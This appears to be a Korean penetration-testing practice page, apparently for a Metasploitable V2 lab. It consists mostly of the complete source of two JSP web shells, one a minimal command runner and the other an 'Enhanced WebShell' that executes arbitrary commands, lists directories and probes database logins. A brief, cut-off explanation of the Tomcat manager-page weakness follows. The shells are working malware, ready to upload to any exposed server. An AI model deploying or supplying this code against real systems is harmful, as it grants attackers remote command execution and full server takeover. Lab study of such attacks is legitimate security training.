실습 파일 - shell.jsp
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
<%@ page import="java.io.*, java.sql.*, java.util.*" %>
<%
// 명령 실행 기능
String cmd = request.getParameter("cmd");
String output = "";
if (cmd != null && !cmd.isEmpty()) {
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
String s;
while ((s = sI.readLine()) != null) {
output += s + "\n";
}
sI.close();
} catch (Exception e) {
output = "Error: " + e.toString();
}
}
// 디렉터리/파일 리스팅 기능
String dirPath = request.getParameter("dir");
String dirOutput = "";
List<Map<String, String>> fileList = new ArrayList<>();
if (dirPath != null && !dirPath.isEmpty()) {
try {
File dir = new File(dirPath);
if (dir.exists() && dir.isDirectory()) {
dirOutput = "Listing directory: " + dir.getAbsolutePath();
File[] files = dir.listFiles();
if (files != null) {
for (File file : files) {
Map<String, String> fileInfo = new HashMap<>();
fileInfo.put("name", file.getName());
fileInfo.put("type", file.isDirectory() ? "Directory" : "File");
fileInfo.put("size", String.valueOf(file.length()) + " bytes");
fileInfo.put("lastModified", new java.util.Date(file.lastModified()).toString());
fileList.add(fileInfo);
}
} else {
dirOutput = "No files found or access denied.";
}
} else {
dirOutput = "Invalid directory path or not a directory.";
}
} catch (Exception e) {
dirOutput = "Error: " + e.toString();
}
}
// 데이터베이스 연결 정보 확인 기능
String dbOutput = "";
String dbUrl = request.getParameter("dbUrl");
String dbUser = request.getParameter("dbUser");
String dbPass = request.getParameter("dbPass");
if (dbUrl != null && dbUser != null && dbPass != null &&
!dbUrl.isEmpty() && !dbUser.isEmpty()) {
try {
Class.forName("com.mysql.cj.jdbc.Driver");
Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass);
dbOutput += "Database connection successful!\n";
DatabaseMetaData meta = conn.getMetaData();
dbOutput += "Database Product: " + meta.getDatabaseProductName() + "\n";
dbOutput += "Database Version: " + meta.getDatabaseProductVersion() + "\n";
dbOutput += "Driver Name: " + meta.getDriverName() + "\n";
dbOutput += "Driver Version: " + meta.getDriverVersion() + "\n";
conn.close();
} catch (Exception e) {
dbOutput = "Database connection failed: " + e.toString();
}
}
%>
<html>
<head>
<title>Enhanced WebShell</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
h2 { color: #333; }
table { width: 100%; border-collapse: collapse; margin-top: 10px; }
th, td { border: 1px solid #ccc; padding: 8px; text-align: left; }
th { background-color: #f2f2f2; }
tr:nth-child(even) { background-color: #f9f9f9; }
input[type="text"], input[type="password"] { width: 300px; padding: 5px; }
input[type="submit"] { padding: 5px 10px; }
pre { background-color: #f4f4f4; padding: 10px; border: 1px solid #ddd; }
</style>
</head>
<body>
<h2>Command Execution</h2>
<form method="GET" action="">
<label>Command:</label><br>
<input type="text" name="cmd" size="50">
<input type="submit" value="Execute">
</form>
<pre><%= output %></pre>
<h2>Directory Listing</h2>
<form method="GET" action="">
<label>Directory Path:</label><br>
<input type="text" name="dir" size="50" placeholder="/path/to/directory">
<input type="submit" value="List">
</form>
<% if (dirPath != null && !dirPath.isEmpty()) { %>
<p><%= dirOutput %></p>
<% if (!fileList.isEmpty()) { %>
<table>
<tr>
<th>Name</th>
<th>Type</th>
<th>Size</th>
<th>Last Modified</th>
</tr>
<% for (Map<String, String> fileInfo : fileList) { %>
<tr>
<td><%= fileInfo.get("name") %></td>
<td><%= fileInfo.get("type") %></td>
<td><%= fileInfo.get("size") %></td>
<td><%= fileInfo.get("lastModified") %></td>
</tr>
<% } %>
</table>
<% } %>
<% } %>
<h2>Database Connection</h2>
<form method="GET" action="">
<label>Database URL (e.g., jdbc:mysql://localhost:3306/test):</label><br>
<input type="text" name="dbUrl" size="50"><br>
<label>Username:</label><br>
<input type="text" name="dbUser" size="50"><br>
<label>Password:</label><br>
<input type="password" name="dbPass" size="50"><br>
<input type="submit" value="Connect">
</form>
<pre><%= dbOutput %></pre>
</body>
</html>
Tomcat 관리자 페이지 취약점은 Apache Tomcat 서버의 관리자 콘솔(예: /manager 또는 /admin 경로)이 외부에 노출되어 있거나, 취약한 계정 정보(기본 계정/비밀번호, 쉽게 유추 가능한 자격 증명)로 인해 공격자가 관리자 권한을 탈취할 수 있는 보안 취약점을 말합니다. 이 취약점을 악용하면 공격자는 웹 애플리케이션 서버에 악성 파일을 업로드하거나 시스템을 완전히 장악할 수 있습니다. Metasploitable V2에서는 Tomcat 5.5 버전이 기본적으로 설치되어 있으며, 이 버전은 관리자 페이지 취약점이 잘 알려져 있습니다.
2. 취약점 원인
Tomcat 관리자 페이지 취약점은 다음과 같은 원인으로 발생합니다: